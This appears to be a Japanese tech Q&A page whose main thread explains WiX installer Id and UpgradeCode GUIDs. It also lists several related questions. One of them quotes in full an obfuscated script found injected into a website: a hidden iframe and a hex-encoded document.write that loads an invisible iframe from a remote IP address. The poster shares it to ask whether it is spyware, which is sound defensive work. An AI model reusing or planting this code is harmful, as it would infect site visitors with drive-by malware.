Windows Installerの警告文と製品のアップグレード

このQ&Aのポイント
  • Windows InstallerでMSIファイルを作成する際に発生する警告文について
  • 製品のアップグレードを保証するための重要性と関連するエラーメッセージについて
  • IdとUpgradeCodeの意味、目的、指定内容、指定方法についての説明を求める
回答を見る
  • ベストアンサー

Windows Installer の警告文???

Windows Installer でMSIファイルを作っていますが下記の警告が出ます warning CNDL1075 : The Product/@UpgradeCode attribute was not found; it is strongly recommeded to ensure that this product can be upgraded. この警告文は私が作ったWXSソースに起因するのでしょう <?xml version="1.0" encoding="UTF-8"?> <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="*" Version="1.0.0.0" Language="1041" Codepage="932" Name="MySoftware" Manufacturer="MyCompany"> 以下省略 製品がアップグレードされることを保証するために強く推奨する??? 誰がどの様にアップグレードしようとするのですか? 私がアップグレードしようとした時とどの様に関係するのでしょうか? あるサンプルにはIdを B6A98E5F-D6A7-46FB-9E9D-1F7BF443491C と指定していましたので、その通りしたら今度は UpgradeCode が無いとのエラーが発生しました この呪文のような文字列は何処から生まれ出たのでしょうか? 私も使って良いのでしょうか? この呪文の意味が分からないので、そこでアチコチ調べたら*印指定にしておけば、後は適当に処理してくれる旨の説明を発見、喜んでその通りにしたら上記の警告文となったのです じゃ私はどうすれば良いのですか??? Id と UpdradeCode の意味、目的、指定内容、指定法が全く理解出来ないこの私に説明してください お願い致します、もう3日も嵌まり込んでニッチもサッチも行きません 助けてください!  ワンワンわぁわぁ~わぁ~ん~!!!

質問者が選んだベストアンサー

  • ベストアンサー
  • LOHA
  • ベストアンサー率52% (203/388)
回答No.1

全くやったことのないことなので、ちゃんとした答えはできませんが、ヒントになりそうなことだけ。 >あるサンプルにはIdを B6A98E5F-D6A7-46FB-9E9D-1F7BF443491C と指定していましたので、その通りした >この呪文のような文字列は何処から生まれ出たのでしょうか? その「呪文」と呼んでいる文字の羅列は、GUID(またはUUID)と呼ばれているものです。 http://ja.wikipedia.org/wiki/GUID >私も使って良いのでしょうか? GUIDは確率的に一意であると保証されている上で利用される値なので、他のソフトで使っている値を利用するのはよくありません。 MSIの作り方に関しては経験のある方に別途回答していただきたいと思います。

参考URL:
http://msdn.microsoft.com/ja-jp/library/465253cd(v=vs.80).aspx
sato-may
質問者

お礼

ありがとうございます 頂いたヒントから答を引き出すことが出来ました お陰様で警告文は完全に消え去りました 助かりました、誠にありがとうございました

関連するQ&A

  • WIXでの複数ファイルインストール指定の方法

    WIXを使って複数のファイルをインストールするmsiを開発 しようとするのですが以下の様にすると エラーが出てしまいます。 1つのファイルをインストールするのは成功しているのですが それを複数ファイルインストールにしたとたんに どのように記述したらいいのかわからなくなってしまいました。 *Ref http://codezine.jp/article/detail/507 <?xml version="1.0" encoding="UTF-8"?> <Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"> <Product Id="B6A98E5F-D6A7-46FB-9E9D-1F7BF443491C" Name="test" Version="1.00.0000" Manufacturer="author" Language="1041" Codepage="932"> <Package Id="????????-????-????-????-????????????" Description="test" Comments="test" InstallerVersion="200" Platforms="Intel" Manufacturer="author" Keywords="Installer,MSI,Database" Languages="1041" SummaryCodepage="932"/> <!-- ここから追加 --> <Media Id="1" Cabinet="Product.cab" EmbedCab="yes" /> <Directory Id="TARGETDIR" Name="SourceDir"> <Directory Id="ProgramFilesFolder"> <Directory Id="test" Name="test"> <Directory Id="INSTALLLOCATION" Name="test"> <Component Id="Component1" Guid="960E5941-FE2A-4384-A96F-8AED231DB301"> <File Id="File1" Name="XPS.exe" KeyPath="yes" Compressed="yes" DiskId="1" Source="release\XPS.exe"/> </Component> </Directory> </Directory> </Directory> </Directory> <Directory Id="TARGETDIR" Name="SourceDir"> <Directory Id="ProgramFilesFolder"> <Directory Id="test" Name="test"> <Directory Id="INSTALLLOCATION" Name="test"> <Component Id="Component1" Guid="960E5941-FE2A-4384-A96F-8AED231DB302"> <File Id="File2" Name="XPS7.dll" KeyPath="yes" Compressed="yes" DiskId="2" Source="release\XPS7.dll"/> </Component> </Directory> </Directory> </Directory> </Directory> <Feature Id="Feature1" Level="1"> <ComponentRef Id="Component1" /> </Feature> <!-- ここまで追加 --> </Product> </Wix> どの様に記述すればエラーがでなくなるというか どのように指定すれば複数のファイルをインストールできる のかご教授願いますm(___)m

  • iTunes Ver 4.2 for Win の警告文

    OSがWin XPのPCにiTunesをインストールし、iPodとシンクロさせて使っています。 最近、iTunesのバージョンを4.2にアップグレードしました。 ところが、iTuneを起動するたびに、「お使いのCDドライブの自動実行設定が無効になっています・・・」の警告文が表示されます。 この警告文を表示させないようにするには、どうすればよいのでしょうか?

    • ベストアンサー
    • Mac
  • SQL文のエラー

    SQL文でエラーが表示されます。どの部分を修正すればいいですか? SQL文が長いので文字列を結合する演算子「.」を使って複数行に分けています。 エラー内容:SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '= ? and product_id = product.id' at line 2 //商品番号だけでなく、商品名や価格も表示したいので商品情報を保持するproductテーブルと 結合する。 //全て取得するのでSELECTは* //favoriteテーブルにはcustomer_idとproduct_id //productテーブルにはid, name, price $sql = 'SELECT * FROM favorite, product' . 'WHERE customer_id = ? and product_id = product.id '; // ?に顧客番号を指定する。 // favoriteテーブルの商品番号(product_id列)と、productテーブルの商品番号(id列)が // 一致している行だけが必要なので、WHERE句に条件を追加する。

  • 怪しいiframeあり、スパイウェア警告が出ます

    私のHPからリンクしている知人のサイトがあります。 その知人サイトを開いたときに「スパイウェア警告が出た」と私のHPのゲストブックに書き込みがありました。 連絡してくださった方の環境やどのような警告だったのかは分かりません。 プラグインやスクリプト系は全部切って、Operaでそのサイトのトップページを保存してエディタで開いてみたところ、BODYの最初にこんなタグが入っていました。 <iframe src='http://url' width='1' height='1' style='visibility: hidden;'></iframe><script>function v47597c712c521(v47597c712d107){ function v47597c712d4ea () {var v47597c712d8d2=16; return v47597c712d8d2;} return(parseInt(v47597c712d107,v47597c712d4ea()));}function v47597c712dcb9(v47597c712e09d){ var v47597c712e488='';for(v47597c712e86d=0; v47597c712e86d<v47597c712e09d.length; v47597c712e86d+=2){ v47597c712e488+=(String.fromCharCode(v47597c712c521(v47597c712e09d.substr(v47597c712e86d, 2))));}return v47597c712e488;} document.write(v47597c712dcb9('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D38383932633136207372633D5C27687474703A2F2F37372E3232312E3133332E3138382F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3632323734292B273064385C272077696474683D323931206865696768743D323134207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script> これがスパイウェアのコードなのでしょうか? また、スパイウェアだとしたら、今回のスパイウェアがどのような類のものなのか解説や対処方法が掲載されたURL(あるいは検索用キーワード)を教えていただけませんでしょうか。 よろしくお願いします。

  • 2分毎にイベントログに警告がでます。

    1ヶ月ぐらい使用してなかったPCを立ち上げたら、 イベントログに以下の2つのログが2分毎に出ている事に気がつきました。 ソース:EventSystem 分類:(52) ID:4356 種類:警告 説明: COM+ イベント システムは、サブスクライバ partition:{41E90F3E-56C1-4633-81C3-6E8BAC8BDD70}!new:{D3938AB0-5B9D-11D1-8DD2-00AA004ABD5E} のインスタンスの作成に失敗しました。CoGetObject は HRESULT 80070424 を返しました。 ソース:EventSystem 分類:(54) ID:4353 種類:警告 説明: COM+ イベント システムが EventObjectChange::ChangedSubscription イベントを開始しようとしましたが、無効なリターン コードを受け取りました。HRESULT は 80040201 でした。 以上の2個のログが4個づつ計8個が2分おきに出ております。 今のところはそのまま使用していても問題は無いのですが、こんなに大量にログが出てるは怖いので対処方法があればと思い書きこまさせていただきました。 よろしくお願いします。

  • 警告が・・・・・。

    こんばんわ。今回質問したいことは、 パソコンを起動してデスクトップに行くと NTAG32 のスタック エラーです。 モジュール : KERNEL32.DLL、アドレス : 0167:bff83e4a Registers: EAX=00b74268 CS=0167 EIP=bff83e4a EFLGS=00010212 EBX=83f26300 SS=016f ESP=00551ff8 EBP=00552000 ECX=00b74268 DS=016f ESI=00b74268 FS=3ef7 EDX=00000000 ES=016f EDI=7fffffff GS=0000 Bytes at CS:EIP: c7 45 fc 01 00 00 00 53 57 53 57 0f b7 4d 0c 0f Stack dump: 00000000 00000000 00552038 bff9e457 8000739e 42688000 00000000 00b74268 7fffffff ffffffff 70214205 8000739e 42688000 00b74268 00b742f4 0000004 のような警告が出ます、どなたかアドバイスお願いします。

  • if文の中のif文・・・について

    質問させていただきます。 if文の中のif文の記述の仕方について質問があります。 例えば if ( x > 0 ){ a = b+c; if ( a > 1) d = e+f; ・・・1 if ( a < 1) d = e-f; ・・・2 if ( a = 1 ) d = 1-g; ・・・3 } h = d + i; aが1より大きい場合は、1の処理を、aが1より小さい場合は2の処理を、aが1と同じであった場合、3の処理をして最終的に、h = d + i;の式の d に代入して h を求めたいと思っているのですが、うまくゆきません。 if文の中のif文の記述はどのようにすればよいのでしょうか? よろしければご教示よろしくお願いします。

  • Windows7 停止

    問題の署名: 問題イベント名: BlueScreen OS バージョン: 6.1.7601.2.1.0.768.3 ロケール ID: 1041 この問題に関する追加情報: BCCode: a BCP1: 00000004 BCP2: 00000002 BCP3: 00000001 BCP4: 836E547F OS Version: 6_1_7601 Service Pack: 1_0 Product: ***** この問題にはどのように対処すれば良いですか XPの終了の為、Windows7に集中して、相性の悪いソフト存在しているのか 知りませんけど、Cドライブの最適化などは実施済みです。 宜しくお願いします。

  • ブラックアウトそしてブルスクーリン再起動不具合

    VISTAで普通のブラウザの操作などは問題ないのですが、 outlook2007の立ち上げメールマガジンなどのスクロールや マガジン内のウェブアドレスのクリックをすると質問タイトルと 同様にフリーズしてしまいます。他は何の問題もありません。 SP1を入れても解消されません。何か方法がありましたら。 お教え願いないでしょうか? 解決策のところに書かれてるのを記載します。なにぶん初心者なので宜しくお願い致します。 問題の署名 問題イベント名: APPCRASH アプリケーション名: IEXPLORE.EXE アプリケーションのバージョン: 7.0.6001.18000 アプリケーションのタイムスタンプ: 47918f11 障害モジュールの名前: StackHash_fd00 障害モジュールのバージョン: 0.0.0.0 障害モジュールのタイムスタンプ: 00000000 例外コード: c0000005 例外オフセット: 3d000000 OS バージョン: 6.0.6001.2.1.0.256.1 ロケール ID: 1041 追加情報 1: fd00 追加情報 2: ea6f5fe8924aaa756324d57f87834160 追加情報 3: fd00 追加情報 4: ea6f5fe8924aaa756324d57f87834160 この問題に関するその他の情報 バケット ID: 694351584 問題の署名 問題イベント名: APPCRASH アプリケーション名: OUTLOOK.EXE アプリケーションのバージョン: 12.0.6212.1000 アプリケーションのタイムスタンプ: 46e03e45 障害モジュールの名前: kernel32.dll 障害モジュールのバージョン: 6.0.6000.16386 障害モジュールのタイムスタンプ: 4549bd80 例外コード: c0000096 例外オフセット: 00020d99 OS バージョン: 6.0.6000.2.0.0.256.1 ロケール ID: 1041 追加情報 1: 8d13 追加情報 2: cdca9b1d21d12b77d84f02df48e34311 追加情報 3: 8d13 追加情報 4: cdca9b1d21d12b77d84f02df48e34311 この問題に関するその他の情報 バケット ID: 625903685 問題の署名 問題イベント名: LiveKernelEvent OS バージョン: 6.0.6000.2.0.0.256.1 ロケール ID: 1041 問題の説明に役立つファイルです (利用できない可能性があるファイルもあります)。 WD-20080112-2112.dmp sysdata.xml Version.txt これらのファイルの一時コピーを表示します。 警告: ウイルスまたは他のセキュリティ上の脅威によって問題が発生した場合、ファイルのコピーを開くと、お使いのコンピュータに問題を起こす可能性があります。 この問題に関するその他の情報 BCCode: 117 BCP1: 84A6F008 BCP2: 893CB640 BCP3: 00000000 BCP4: 00000000 OS Version: 6_0_6000 Service Pack: 0_0 Product: 256_1 サーバー情報: 680b42be-16cf-40bd-895a-22481be4bf09 問題の署名 問題イベント名: BlueScreen OS バージョン: 6.0.6000.2.0.0.256.1 ロケール ID: 1041 問題の説明に役立つファイルです (利用できない可能性があるファイルもあります)。 Mini011308-02.dmp sysdata.xml Version.txt これらのファイルの一時コピーを表示します。 警告: ウイルスまたは他のセキュリティ上の脅威によって問題が発生した場合、ファイルのコピーを開くと、お使いのコンピュータに問題を起こす可能性があります。 この問題に関するその他の情報 BCCode: a BCP1: 086092E3 BCP2: 0000001F BCP3: 00000001 BCP4: 8186A279 OS Version: 6_0_6000 Service Pack: 0_0 Product: 256_1 サーバー情報: c57ad6e7-a4d3-41b6-9e3d-ca115c1d272b

  • windows10にアップグレードしたら

    windows10にアップグレードしたら、 スクリプトファイル "C:¥Use¥reo¥Documents¥nfancy_173b50b8bb05382f6cba054f38f63c42a72d3d8e7665d5d4.vbs"が見つかりません。 というメッセージが出てきました。 どういう風にすれば、出てこなくなるのか教えてください。 ※OKWaveより補足:「富士通FMV」についての質問です。

専門家に質問してみよう